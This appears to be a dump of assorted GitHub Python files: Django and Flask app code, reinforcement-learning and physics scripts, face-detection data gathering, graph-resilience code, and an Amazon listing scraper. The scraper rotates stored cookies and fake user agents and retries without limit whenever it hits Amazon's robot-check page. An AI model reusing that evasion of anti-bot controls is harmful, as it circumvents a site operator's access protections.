__str__(self):\n return self.name\n\n @classmethod\n @cachetools.cachedmethod(operator.attrgetter(\"_id_cache\"), lock=lambda _: id_lock)\n def get_by_id(cls, id) -> Optional[\"InterfaceProfile\"]:\n return InterfaceProfile.objects.filter(id=id).first()\n\n @classmethod\n @cachetools.cachedmethod(operator.attrgetter(\"_bi_id_cache\"), lock=lambda _: id_lock)\n def get_by_bi_id(cls, id) -> Optional[\"InterfaceProfile\"]:\n return InterfaceProfile.objects.filter(bi_id=id).first()\n\n @classmethod\n @cachetools.cachedmethod(operator.attrgetter(\"_name_cache\"), lock=lambda _: id_lock)\n def get_by_name(cls, name) -> Optional[\"InterfaceProfile\"]:\n return InterfaceProfile.objects.filter(name=name).first()\n\n @classmethod\n @cachetools.cachedmethod(operator.attrgetter(\"_default_cache\"), lock=lambda _: id_lock)\n def get_default_profile(cls) -> \"InterfaceProfile\":\n return InterfaceProfile.objects.filter(name=cls.DEFAULT_PROFILE_NAME).first()\n\n @classmethod\n @cachetools.cachedmethod(\n operator.attrgetter(\"_status_discovery_cache\"), lock=lambda _: ips_lock\n )\n def get_with_status_discovery(cls):\n \"\"\"\n Get list of interface profile ids with status_discovery = True\n :return:\n \"\"\"\n return list(\n x[\"_id\"]\n for x in InterfaceProfile._get_collection()\n .with_options(read_preference=ReadPreference.SECONDARY_PREFERRED)\n .find({\"status_discovery\": {\"$ne\": \"d\"}}, {\"_id\": 1})\n )\n\n @staticmethod\n def config_from_settings(m: \"InterfaceProfileMetrics\") -> \"MetricConfig\":\n \"\"\"\n Returns MetricConfig from .metrics field\n :param m:\n :return:\n \"\"\"\n return MetricConfig(\n m.metric_type, m.enable_box, m.enable_periodic, m.is_stored, m.threshold_profile\n )\n\n @classmethod\n @cachetools.cachedmethod(\n operator.attrgetter(\"_interface_profile_metrics\"), lock=lambda _: metrics_lock\n )\n def get_interface_profile_metrics(cls, p_id: ObjectId) -> Dict[str, MetricConfig]:\n r = {}\n ipr = InterfaceProfile.get_by_id(id=p_id)\n if not ipr:\n return r\n for m in ipr.metrics:\n r[m.metric_type.name] = cls.config_from_settings(m)\n return r\n","repo_name":"sbworth/getnoc","sub_path":"inv/models/interfaceprofile.py","file_name":"interfaceprofile.py","file_ext":"py","file_size_in_byte":8483,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"21757802464","text":"from django.db import models\n\n\n# Create your models here.\nclass City(models.Model):\n name = models.CharField(max_length=128)\n\n def __str__(self):\n return \"{}\".format(self.name)\n\n\nclass Place(models.Model):\n name = models.CharField(max_length=128)\n capacity = models.PositiveIntegerField()\n city = models.ForeignKey(City)\n\n def __str__(self):\n return \"{name} in {city}\".format(name=self.name, city=self.city)\n\n\nclass Event(models.Model):\n WEDDING = 1\n BALL = 2\n CONFERENCE = 3\n\n EVENT_TYPE_CHOICES = (\n (WEDDING, 'Wedding'),\n (BALL, 'Ball'),\n (CONFERENCE, 'Conference'),\n )\n start_date = models.DateField()\n end_date = models.DateField()\n capacity = models.PositiveIntegerField()\n place = models.OneToOneField(Place)\n # organiser = models.OneToOneField(Organiser)\n event_type = models.SmallIntegerField(choices=EVENT_TYPE_CHOICES)\n\n def __str__(self):\n return \"{event_type} in {place}, {start_date}\".format(\n event_type=self.event_type,\n place=self.place,\n start_date=self.start_date)\n","repo_name":"Rositsazz/EventSystem","sub_path":"EventSystem/events/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41381067394","text":"from __future__ import division\nimport numpy as np\n\nLEFT = 0\nRIGHT = 1\nLEFT_REWARD = -1\nRIGHT_REWARD = 1\nGAMMA = 1\n\n\ndef calculate_true_value(state_size):\n true_value = np.zeros(state_size + 2)\n new_value = np.zeros(state_size + 2)\n error = 1\n while error > 10e-12:\n true_value = new_value\n new_value = np.zeros(state_size + 2)\n for i in range(state_size + 2):\n if i == 0:\n new_value[i] = 0\n continue\n if i == state_size + 1:\n new_value[i] = 0\n continue\n if i == 1:\n new_value[i] = 0.5 * (LEFT_REWARD + true_value[i + 1])\n continue\n if i == state_size:\n new_value[i] = 0.5 * (true_value[i - 1] + RIGHT_REWARD)\n continue\n new_value[i] = 0.5 * (true_value[i - 1] + true_value[i + 1])\n error = sum(abs(new_value - true_value))\n return true_value\n\n\nTRUE_VALUE = calculate_true_value(19)\n\n\nclass RandomWalk(object):\n def __init__(self, state_size):\n self.state_size = state_size\n self.true_value = TRUE_VALUE\n\n def start(self):\n # state = [0, 1, 2, ... state_size, state_size+1]\n self.state = self.state_size // 2 + 1\n\n def step(self, choice):\n # choice = np.random.randint(1)\n if choice == LEFT:\n self.state -= 1\n else:\n self.state += 1\n\n reward = 0\n if self.state == 0:\n reward = LEFT_REWARD\n if self.state == self.state_size + 1:\n reward = RIGHT_REWARD\n\n return self.state, reward\n\n def is_terminate(self):\n if self.state in [0, self.state_size + 1]:\n return True\n\n return False\n\n\nclass n_step_TD(object):\n def __init__(self, environment):\n self.env = environment\n self.value = np.zeros(self.env.state_size + 2)\n\n def learn(self, episodes, n, alpha):\n error = 0\n for _ in range(episodes):\n self.env.start()\n T = 10 ** 9\n t = 0\n rewards = [0]\n states = [self.env.state]\n while True:\n t += 1\n if t < T:\n choice = np.random.randint(2)\n state, reward = self.env.step(choice)\n rewards.append(reward)\n states.append(state)\n if self.env.is_terminate():\n T = t\n tau = t - n\n if tau >= 0:\n gammas = np.power(GAMMA, np.arange(tau + 1, min(tau + n, T) + 1))\n rs = np.array(rewards[tau + 1: min(tau + n, T) + 1])\n G = np.dot(gammas, rs)\n # G = np.power(GAMMA, np.arange(tau + 1, min(tau + n, T) + 1)) * np.transpose(\n # rewards[tau + 1: min(tau + n, T) + 1])\n if tau + n < T:\n G += pow(GAMMA, n) * self.value[states[tau + n]]\n self.value[states[tau]] += alpha * (G - self.value[states[tau]])\n if tau == T - 1:\n break\n\n error += np.sqrt(np.sum(np.power(self.value - self.env.true_value, 2)) / self.env.state_size)\n return error / episodes\n\n\nif __name__ == '__main__':\n env = RandomWalk(19)\n td = n_step_TD(env)\n print(td.learn(10, 4, 0.5))\n","repo_name":"Seraphli/RLAIExercise","sub_path":"n_step_TD_random_walk/Environment.py","file_name":"Environment.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17896100340","text":"from flask import Blueprint\nfrom flask import request, render_template, redirect, url_for, session\n\nimport capitulo.adapters.repository as repo\nimport capitulo.reading_list.services as services\nimport capitulo.utilities.utilities as utilities\nfrom capitulo.authentication.authentication import login_required\n\n# Configure the Blueprint\nreading_list_blueprint = Blueprint('reading_list_bp', __name__)\n\n\n@reading_list_blueprint.route('/reading_list', methods=['GET', 'POST'])\n@reading_list_blueprint.route('/reading_list/book_added=', methods=['GET', 'POST'])\n@reading_list_blueprint.route('/reading_list/book_removed=', methods=['GET', 'POST'])\n@login_required\ndef reading_list():\n user_name = session['user_name']\n read_list = services.get_reading_list(user_name, repo.repo_instance)\n # Construct urls for viewing reading list\n # for book in read_list:\n # book['add_to_reading_list_url'] = url_for('reading_list_bp.add_book_to_reading_list()', book=book)\n\n return render_template('/reading_list.html', read_list=read_list,\n language_urls=utilities.get_languages_and_urls(),\n author_urls=utilities.get_authors_and_urls(),\n publisher_urls=utilities.get_publishers_and_urls(),\n release_year_urls=utilities.get_release_years_and_urls()) # Template for reading list\n\n\n@reading_list_blueprint.route('/reading_list/add_book', methods=['GET', 'POST'])\n@login_required\ndef add_book_to_reading_list():\n user_name = session['user_name']\n\n book_id = int(request.args.get('book_id'))\n book = utilities.get_book(book_id)\n\n # Use the service layer to store the book into the reading list\n services.add_book_to_reading_list(book_id, user_name, repo.repo_instance)\n\n # New read list to pass into url\n read_list = services.get_reading_list(user_name, repo.repo_instance)\n\n # Cause the web browser to display the page of the reading list with the new added book, including old ones\n return redirect(url_for('reading_list_bp.reading_list', book_added=book))\n\n\n@reading_list_blueprint.route('/reading_list/remove_book', methods=['GET', 'POST'])\n@login_required\ndef remove_book_from_reading_list():\n user_name = session['user_name']\n book_id = int(request.args.get('book_id'))\n book = utilities.get_book(book_id)\n\n # Use the service layer to remove the book from the reading list\n services.remove_book_from_reading_list(book_id, user_name, repo.repo_instance)\n\n # New read list to pass into url\n read_list = services.get_reading_list(user_name, repo.repo_instance)\n\n # Cause the web browser to display the page of the reading list with the new added book, including old ones\n return redirect(url_for('reading_list_bp.reading_list', book_removed=book))\n","repo_name":"kana140/library-web-application","sub_path":"capitulo/reading_list/reading_list.py","file_name":"reading_list.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"25365695096","text":"# -*- coding: utf-8 -*-\n\"\"\"\nFile Name ： get_listing_and_offer\nAuthor : Eric\nCreate date ： 2020/8/25\n\"\"\"\n'''\nRequests 获取Amazon Listing 及 Offer页面内容\n解析并存入MongoDB\n'''\nimport requests\nimport re\nfrom datetime import datetime\nimport time\nfrom bs4 import BeautifulSoup\nfrom pyquery import PyQuery as pq\nimport pymongo\nfrom fake_useragent import UserAgent\nimport pandas as pd\nimport random\nfrom mongo_config import *\nfrom multiprocessing import Pool\n\n\nsam_file = r'..\\\\'\n# def get_asin_list(country):\n# '''\n# 根据国别信息，读取当前文件夹下对应的ASIN表格，以list形式返回ASIN\n# '''\n# country = country.upper()\n# if not country in ['DE', 'UK']:\n# raise ValueError('未录入此国家Cookie信息')\n#\n# return pd.DataFrame(pd.read_excel(f'{country}_asin.xlsx'))['ASIN'].tolist()\n\n\ndef get_asin_list(country):\n '''\n 根据国别信息，读取Mongo中下对应的ASIN表格，以list形式返回ASIN\n '''\n country = country.upper()\n if not country in ['DE', 'UK']:\n raise ValueError('未录入此国家Cookie信息')\n try:\n asin_db = mongo_config(f'{country}_Asin', 'AmazonCountryInfo')\n asin_list = pd.DataFrame(asin_db.find())['ASIN'].tolist()\n return asin_list\n except:\n return get_asin_list(country)\n\ndef get_current_date():\n today = datetime.today()\n date = str(today.month).rjust(2,'0') + str(today.day).rjust(2,'0')\n return date\n\n\ndef get_request_header(country):\n '''\n 根据给出的国别信息，返回有效的在Trojan全局下可以访问Amazon的有效地址\n '''\n country = country.upper()\n if not country in ['DE', 'UK']:\n raise ValueError('未录入此国家Cookie信息')\n cookie_mongo = mongo_config(f'{country.upper()}_Cookies','AmazonCountryInfo')\n cookie_list = pd.DataFrame(cookie_mongo.find())['Cookie'].to_list()\n # cookie_list = open(f'{country}_cookies_0831.log', 'r').readlines()\n cookie_list = [cookie.strip().strip('\\n') for cookie in cookie_list] # 删除空值及\\n\n\n cookie = random.choice(cookie_list)\n user_agent = UserAgent()\n ua = user_agent.random\n\n header = {\n 'cookie': cookie,\n 'user-agent': ua,\n # 'cache-control': 'max-age=0', # 禁用本地缓存\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'\n }\n return header\n\n\ndef get_listing_url(asin, country):\n '''\n 通过给定的国家判断二级域名，并组合成完成的listing page url\n '''\n country = country.lower()\n if not country in ['de', 'uk']:\n raise ValueError('未录入此国家Cookie信息')\n\n country = re.sub('uk', 'co.uk', country) # Amazon英国域名修改\n return f'http://www.amazon.{country}/dp/{asin}'\n\n\ndef get_offer_url(asin, country):\n '''\n 通过给定的国家判断二级域名，并组合成完成的offer page url\n '''\n country = country.lower()\n if not country in ['de', 'uk']:\n raise ValueError('未录入此国家Cookie信息')\n\n country = re.sub('uk', 'co.uk', country) # Amazon英国域名修改\n return f'http://www.amazon.{country}/gp/offer-listing/{asin}/ref=olp_page_1?ie=UTF8&f_all=true&f_new=true'\n\n\ndef get_page(url, country):\n '''\n 获取给定url页面内容，传入国别为了验证是否为check页面\n '''\n\n print(f'开始获取页面，{url}')\n\n header = get_request_header(country)\n try:\n response = requests.get(url, headers=header, timeout=60)\n except:\n return get_page(url, country)\n\n if response.status_code == 400: # 404 page not found\n return response.status_code\n\n if response.status_code == 200: # 正常响应\n if re.search('(Robot Check)|(Bot Check)', str(response.text), re.I): # 判断是否为验证页面\n\n time.sleep(3)\n print(f'Robot Check 重新抓取当前页面，{url}')\n return get_page(url, country)\n return response.text # 返回正常页面\n\n print(f'{response.status_code}，重新请求页面，{url}')\n return get_page(url, country) # 其他错误，重新请求\n\n\ndef parse_listing_page(html):\n if str(html) == '404':\n return\n\n doc = pq(html)\n # --------------------------Price------------------------------\n price_tag = doc('#price_inside_buybox')\n price = None\n if price_tag:\n price = price_tag.text()\n # -------------------------Buybox------------------------------\n buybox_tag = doc('#merchant-info')\n buybox = None\n if buybox_tag: buybox = buybox_tag.text()\n # ------------------------Status-------------------------------\n status_tag = doc('#availability')\n status = None\n if status_tag: status = status_tag.text()\n\n # -------------------------Rank--------------------------------\n rank_tag = doc('#SalesRank')\n rank = None\n if rank_tag:\n rank_tag('style').remove()\n rank = rank_tag.text().strip()\n else:\n prod_detail_tag = doc('#prodDetails')('tr').items()\n for tag in prod_detail_tag:\n if not re.search('(rank)|(Rang)', tag.text(), re.I): continue\n rank = tag.text().strip()\n\n return {\n 'Price': price,\n 'Buybox': buybox,\n 'Status': status,\n 'Rank': rank}\n\n\ndef parse_offer_page(asin,country):\n date = current_date_to_string(4)\n offer_db = mongo_config(f'Sam_Offer_{date}')#db name\n\n if search_from_db(offer_db,{'ASIN':asin,'Country':country}): return\n\n offer_url = get_offer_url(asin,country)\n html = get_page(offer_url,country)\n\n doc = pq(html)\n offer_tag = doc('#olpOfferList')\n if len(offer_tag('div.a-row.a-spacing-mini.olpOffer')) == 0:\n save_to_mongo(offer_db,{'ASIN':asin,'Status':'No Offer','Country':country})\n return\n\n offer_tag_list = offer_tag('div.a-row.a-spacing-mini.olpOffer').items()\n for offer_tag in offer_tag_list:\n price = offer_tag('span.a-size-large.a-color-price.olpOfferPrice.a-text-bold').text()\n seller = offer_tag('div.a-column.a-span2.olpSellerColumn')('h3').text()#MFN或FBA\n if not seller: seller = offer_tag('div.a-column.a-span2.olpSellerColumn')('h3')('img').attr('alt')#Retail\n delivery = offer_tag('div.olpBadge').text()\n\n info = {\n 'ASIN':asin,\n 'Price':price,\n 'seller':seller,\n 'Delivery':delivery,\n 'Country':country\n }\n save_to_mongo(offer_db,info)\n time.sleep(3)\n\ndef get_listing_info(asin,country):\n '''获取listing页面详细信息，解析并存入mongodb\n 参数为asin,country组合\n '''\n\n date = current_date_to_string(4)\n listing_db = mongo_config(f'Sam_Buybox_{date}')\n print(listing_db)\n if search_from_db(listing_db,{'ASIN':asin,'Country':country}):return\n\n listing_url = get_listing_url(asin,country)\n html = get_page(listing_url,country)\n info = parse_listing_page(html)\n info['ASIN'] = asin\n info['Country'] = country\n save_to_mongo(listing_db,info)\n time.sleep(3)\n\ndef get_product_info(item):\n asin = item[0]\n country = item[1]\n get_listing_info(asin, country)\n parse_offer_page(asin, country)\n\n\ndef main(country):\n asin_list = get_asin_list(country)\n pool = Pool()\n country_asin_list = zip(asin_list,[country] * len(asin_list))\n pool.map(get_product_info,country_asin_list)\n\n\n\nif __name__ == '__main__':\n t1 = time.time()\n print('开始时间',time.ctime())\n country_list = ['uk','de']\n for country in country_list:\n print(get_asin_list(country))\n # main(country)\n t2 = time.time()\n print('结束时间',time.ctime())\n print('本次运行共耗时 %0.2f min'%((t2 - t1)/60))","repo_name":"Eric-top1cn/AmazonSpider","sub_path":"AmazonEurope/uk&de_offer/get_listing_and_offer.py","file_name":"get_listing_and_offer.py","file_ext":"py","file_size_in_byte":7807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7222446648","text":"class Solution:\n from itertools import permutations \n def getPermutation(self, n: int, k: int) -> str:\n a=list(range(1,n+1))\n x=[]\n b=permutations(a)\n for i in b:\n x.append(i)\n return ''.join([str(i) for i in x[k-1]])\n ","repo_name":"varshitha8142/CrackYourPlacements","sub_path":"0060-permutation-sequence/0060-permutation-sequence.py","file_name":"0060-permutation-sequence.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36593658186","text":"import cv2\n\npath = \"C:/Users/ErenS/Desktop/himym/\"\ncap = cv2.VideoCapture(path + 'vid4.mp4')\nframe_count = 0\nface_detection = cv2.CascadeClassifier(path + \"haarcascade_frontalface_default.xml\")\n\nwhile True:\n ret, frame = cap.read()\n frame_count += 1\n print(frame_count)\n count = 0\n\n faces = face_detection.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE)\n\n if len(faces) > 0:\n for x, y, w, h in faces:\n roi = frame[y:y + h, x:x + w]\n roi = cv2.resize(roi, (64, 64))\n cv2.rectangle(frame, (x, y), (x + w, y + h), (10, 100, 80), 4)\n file_name = path + \"vid4/\" + str(frame_count) + \"_\" + str(count) + \".jpg\"\n count += 1\n cv2.imwrite(file_name, roi)\n\n cv2.imshow(\"Face Detector\", frame)\n if cv2.waitKey(1) == 13:\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"janFrancoo/Deep-Learning-Projects","sub_path":"HIMYM Character Classification/gather_data.py","file_name":"gather_data.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71153603022","text":"import matplotlib\r\nfrom matplotlib.font_manager import FontProperties\r\n\r\nfont = {'family': 'Arial',\r\n 'weight': 'medium',\r\n 'size': 15,\r\n 'style': 'normal'}\r\n\r\nmatplotlib.rcParams['mathtext.fontset'] = 'custom'\r\nmatplotlib.rcParams['mathtext.rm'] = 'Arial'\r\nmatplotlib.rcParams['mathtext.it'] = 'Arial'\r\n\r\nmatplotlib.rc('font', **font)\r\nmatplotlib.rc('text', usetex=False)\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport time\r\n\r\n\r\ndef main():\r\n def absolute_value(val):\r\n a = np.round(val / 100. * counts.sum(), 0)\r\n return int(a)\r\n\r\n current_path = os.path.dirname(os.path.realpath(\"__file__\"))\r\n data_path = os.path.abspath(os.path.join(current_path, '..', '..', 'data'))\r\n\r\n fig, ax = plt.subplots()\r\n fig.set_size_inches(7, 5, forward=True)\r\n\r\n group_names = [\"PWR\", \"BWR\", \"PHWR\", \"LWGR\", \"GCR\", \"FBR\"]\r\n\r\n # counts = pd.Series([305, 62, 48, 12, 11, 3], index=group_names)\r\n counts = pd.Series([290.5, 63.1, 24.5, 8.6, 6.1, 1.4], index=group_names)\r\n\r\n explode = (0, 0.02, 0.1, 0.15, 0.3, 0.5)\r\n colors = ['#3C3C4C', '#965F77', '#B4A0AA', '#D8C2CB', '#FED542', '#FED5C4']\r\n\r\n plt.pie(counts, colors=colors, explode=explode, labels=group_names, autopct=absolute_value)\r\n plt.axis('equal')\r\n plt.ylabel('')\r\n # plt.legend(labels=counts.index, loc=\"best\")\r\n\r\n fig.tight_layout()\r\n\r\n # name_of_plot = \"reactor_count_by_type\"\r\n name_of_plot = \"reactor_electrical_capacity_by_type\"\r\n for extension in [\".png\", \".svg\"]:\r\n plt.savefig(os.path.join(data_path,\r\n 'graphics',\r\n name_of_plot + extension), dpi=300)\r\n\r\n plt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n start_time = time.time()\r\n main()\r\n print(\"--- %s seconds ---\" % (time.time() - start_time))\r\n","repo_name":"dazeeeed/neural-physics","sub_path":"src/05_thesis_graphs/count_of_reactors_by_type.py","file_name":"count_of_reactors_by_type.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36092538084","text":"import numpy as np\n#############################################\n# #\n# MODEL PARAMETERS #\n# #\n#############################################\n\n# Default parameters. To set parameters - change values in set_model_parameters()\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nlattice_type = 'triangular' # write square || triangular\nbeta = 1.0 # inversive temperature as \\beta = 1./T\nU = 1.0 # local (inter-site) Hubbard repulsion\nhartree_shift = 0.0 # Hartree shift (\\mu in ct-hyb). for a half filling U / 2. In the tutorial it is written\n # that mu = U/2 isn't implemented, but it is (!!!).\nNk = 64 # num. of kpoints in each direction, 64 is better for qmc (Friedrich K.)\nnum_of_neighbours = 3\n\n# Hubbard model parameters\nt = np.empty(num_of_neighbours, dtype=np.float)\nt = 0.0\nCoulomb = np.empty(num_of_neighbours, dtype=np.float)\nCoulomb = 0.0\n\n# ct_hub parameters\nsweeps = 10**10 # 10**8 .. 10**10 is enough\nhours_max = 3 # max hours\ntime_limit = hours_max*60*60 # in seconds\n\n# mixing_parameters\ndelta_mix = 0.1\nlambda_mix = 0.6\n\n# parameters for minimization\nnum_of_used_freqs = 25\nbath_size = 9\nfilename = 'Delta_new.dat'\nparams = [-5.0,-2.5,-1.5,-0.5,0.0,0.5,1.5,2.5,5.0,0.5,0.1,0.5,0.3,0.5,0.4,0.6,0.72,0.5]\nfilename_output_delt_min = 'Delta_new_minimized.dat'\n\n# SET PARAMETERS\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\ndef set_model_parameters():\n global lattice_type, beta, U, hartree_shift, Nk, num_of_neighbours\n global t, Coulomb, mu, particle_hole_symm, sweeps\n global time_limit, delta_mix, lambda_mix\n global max_it_num, start_from_it\n lattice_type = 'triangular' # write square || triangular\n beta = 50. # inversive temperature as \\beta = 1./T\n U = 0.6646 # local (inter-site) Hubbard repulsion\n #mu = U/2. # for a half filling U / 2. In case of square lattice it should be mu = U/2. !!!!\n #mu = 0.8 * t\n hartree_shift = 0.0 # Hartree shift (\\mu in ct-hyb). for a half filling U / 2. In the tutorial it is written\n # that mu = U/2 isn't implemented, but it is (!!!). Automatically mu = U/2, for half-filling.\n # The sign problem can occure away from half-filling. Don't touch.\n Nk = 64 # num. of kpoints in each direction, 64 is better for qmc (Friedrich K.)\n num_of_neighbours = 6\n\n #ct_hub parameters\n sweeps = 10**10 # 10**8 .. 10**11\n hours_max = 3 # max hours\n time_limit = hours_max*60*60 # in seconds\n\n #mixing_parameters\n delta_mix = 0.30\n lambda_mix = 0.70\n\n # iterations\n max_it_num = 25\n start_from_it = 18\n \n if (start_from_it > max_it_num):\n print (\"The number of start iteration is less than the number of the last one.\")\n #############################################\n # #\n # STATIC PARAMETERS OF A MODEL #\n # #\n #############################################\n # t - value of a hopping integral\n # Coulomb - value of non-local (intra-site) Coulomb interaction.\n # In papers it figurates as V.\n\n t = np.empty(num_of_neighbours, dtype=np.float)\n t[0] = 0.0115\n t[1] = 0.0917\n t[2] = -0.0004\n t[3] = -0.0073\n t[4] = -0.0142\n t[5] = 0.0003\n\n Coulomb = np.empty(num_of_neighbours, dtype=np.float)\n Coulomb[0] = 0.3598\n Coulomb[1] = 0.2473\n Coulomb[2] = 0.2190\n Coulomb[3] = 0.1630\n Coulomb[4] = 0.1416\n Coulomb[5] = 0.1132\n\n mu = 0.0\n particle_hole_symm = 0\n save_param_file(lattice_type, beta, U, hartree_shift, Nk, num_of_neighbours,\n t, Coulomb, mu, particle_hole_symm, sweeps, time_limit, delta_mix, lambda_mix)\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ndef set_model_parameters_for_minimization_delta():\n global num_of_used_freqs, bath_size, filename, params, filename_output_delt_min\n num_of_used_freqs = 50\n bath_size = 9\n filename = 'Delta_new.dat'\n params = [-5.0,-2.5,-1.5,-0.5,0.0,0.5,1.5,2.5,5.0,0.5,0.1,0.5,0.3,0.5,0.4,0.6,0.72,0.5]\n filename_output_delt_min = 'Delta_new_minimized.dat'\n\ndef get_model_parameters_for_minimization_delta():\n global num_of_used_freqs, bath_size, filename, params, filename_output_delt_min\n return num_of_used_freqs, bath_size, filename, params, filename_output_delt_min\n\ndef get_model_parameters():\n global lattice_type, beta, U, hartree_shift, Nk, num_of_neighbours\n global t, Coulomb, mu, particle_hole_symm, sweeps\n global time_limit, delta_mix, lambda_mix\n global max_it_num, start_from_it\n\n print (\"Lattice type is \", lattice_type)\n print (\"5*beta*U/(2pi) ~ \", str(int(5*beta*U/(2.*np.pi))))\n print (\"Required number of N_tau >= {}\".format(5. * U * beta))\n print (\"mu = {}\".format(mu))\n if (particle_hole_symm == 1):\n print(\"Particle - hole symmetry - yes.\")\n else:\n print(\"Particle - hole symmetry - no.\")\n\n print(\"Hopping is {}\".format(t))\n print(\"Coulomb is {}\".format(Coulomb))\n # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n return lattice_type, beta, U, hartree_shift, Nk, num_of_neighbours, t, Coulomb, mu, particle_hole_symm, \\\n sweeps, time_limit, delta_mix, lambda_mix, max_it_num, start_from_it\n\ndef save_param_file(lattice_type, beta, U, hartree_shift, Nk, num_of_neighbours, t, Coulomb, mu, particle_hole_symm,\n sweeps, time_limit, delta_mix, lambda_mix):\n # -- save parameters in file for the iteration --\n f = open(\"model_params.dat\", \"w\")\n f.write(\"lattice_type:\\t\" + str(lattice_type) + \"\\n\")\n f.write(\"beta =\\t\" + str(beta)+ \"\\n\")\n f.write(\"U =\\t\" + str(U)+ \"\\n\")\n f.write(\"mu Anderson =\\t\" + str(hartree_shift)+ \"\\n\")\n f.write(\"Nk =\\t\" + str(Nk)+ \"\\n\")\n f.write(\"NN =\\t\" + str(num_of_neighbours)+ \"\\n\")\n f.write(\"Hopping =\\t{}\\n\". format(t))\n f.write(\"Coulomb =\\t{}\\n\".format(Coulomb))\n f.write(\"mu lattice =\\t{}\\n\".format(Coulomb))\n if (particle_hole_symm == 1):\n f.write(\"Particle - hole symmetry - yes.\\n\")\n else:\n f.write(\"Particle - hole symmetry - no.\\n\")\n f.write(\"sweeps (N_MEAS = 2000) =\\t{}\\n\".format(sweeps))\n f.write(\"time_limit =\\t{} hours\\n\".format(time_limit/3600))\n f.write(\"Mixing\\n\")\n f.write(\"Delta mixing parameter =\\t{}\\n\".format(delta_mix))\n f.write(\"Lambda mixing parameter =\\t{}\\n\".format(lambda_mix))\n f.close()\n\ndef get_shift_half_filling(dos, Erange, dE):\n if (dE < 0.0):\n dE = abs(dE)\n weight = 0.0\n Eshift = 0.0\n NE = len(dos)\n for n in range(NE):\n weight += dos[n]*dE\n# print (-Erange+n*dE,weight)\n if weight >= 0.5:\n if weight==0.5: Eshift=-Erange+n*dE\n else: Eshift=-Erange+(n-0.5)*dE\n break\n print (\"Energy shift to obtain half-filling: E_shift = %f\"%(Eshift))\n return Eshift\n\n\ndef get_van_Hove_filling(dos, Erange, dE):\n #find maximum\n NE=len(dos)\n Evl = [-Erange+x*dE for x in range(0,NE+1)]\n max=dos[0]\n maxn=0\n for n in range (0,NE):\n if dos[n] >= max:\n max=dos[n]\n maxn=n\n print (\"maximum of dos @ E=%f\"%Evl[maxn])\n vhf=0.0\n N=len(dos)\n for n in range (0,maxn):\n vhf += 2*dos[n]*dE #van Hove doping; factor 2 is for spin\n print (\"optimal hole doping: delta ~ %f\"%(1.0-vhf))\n return vhf\n\ndef get_server_run():\n path_to_exec_file = 'shalalalala'\n num_mpi_threads = 12\n path_to_maxent = ''\n print_sources(path_to_exec_file, num_mpi_threads, path_to_maxent)\n return path_to_exec_file, num_mpi_threads, path_to_maxent\n\ndef get_local_run():\n path_to_exec_file = '/Users/witcher/workspace/CT_HYB_SEGMENT/CT-HYB-SEGMENT/build/alps_cthyb'\n num_mpi_threads = 3\n path_to_maxent = '/Users/witcher/workspace/CT_HYB_SEGMENT/Maxent/build2/maxent'\n print_sources(path_to_exec_file, num_mpi_threads, path_to_maxent)\n return path_to_exec_file, num_mpi_threads, path_to_maxent\n\ndef print_sources(path_to_exec_file, num_mpi_threads, path_to_maxent):\n print(\"Path to the solver \\t: \", path_to_exec_file)\n print(\"Num of MPI threads \\t: \", num_mpi_threads)\n print(\"Path to the MaxEnt \\t: \", path_to_maxent)\n print(\"\\n\")\n\n","repo_name":"dariamedvedeva/EDMFT_cthyb_cycle","sub_path":"parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":8672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"31936412834","text":"#!/usr/bin/python\n\nimport App2\nimport collections\nimport matplotlib.pyplot as plt\nimport time\n\n\nINITIAL_NODES = 5\n\n\ndef copy_graph(graph):\n \"\"\"\n Make a copy of a graph\n \"\"\"\n new_graph = {}\n for node in graph:\n new_graph[node] = set(graph[node])\n return new_graph\n\n\ndef fast_targeted_order(ugraph):\n graph = copy_graph(ugraph)\n degree_sets = collections.defaultdict(set)\n for node in graph:\n degree = len(graph[node])\n degree_sets[degree].add(node)\n result = []\n for degree in xrange(len(graph) - 1, -1, -1):\n while degree_sets[degree]:\n node = degree_sets[degree].pop()\n neighbors = graph[node]\n for neighbor in neighbors:\n neighbor_degree = len(graph[neighbor])\n degree_sets[neighbor_degree].remove(neighbor)\n degree_sets[neighbor_degree-1].add(neighbor)\n graph[neighbor].remove(node)\n result.append(node)\n graph.pop(node)\n return result\n\n\ndef targeted_order(ugraph):\n \"\"\"\n Compute a targeted attack order consisting\n of nodes of maximal degree\n \n Returns:\n A list of nodes\n \"\"\"\n # copy the graph\n new_graph = copy_graph(ugraph)\n \n order = [] \n while len(new_graph) > 0:\n max_degree = -1\n for node in new_graph:\n if 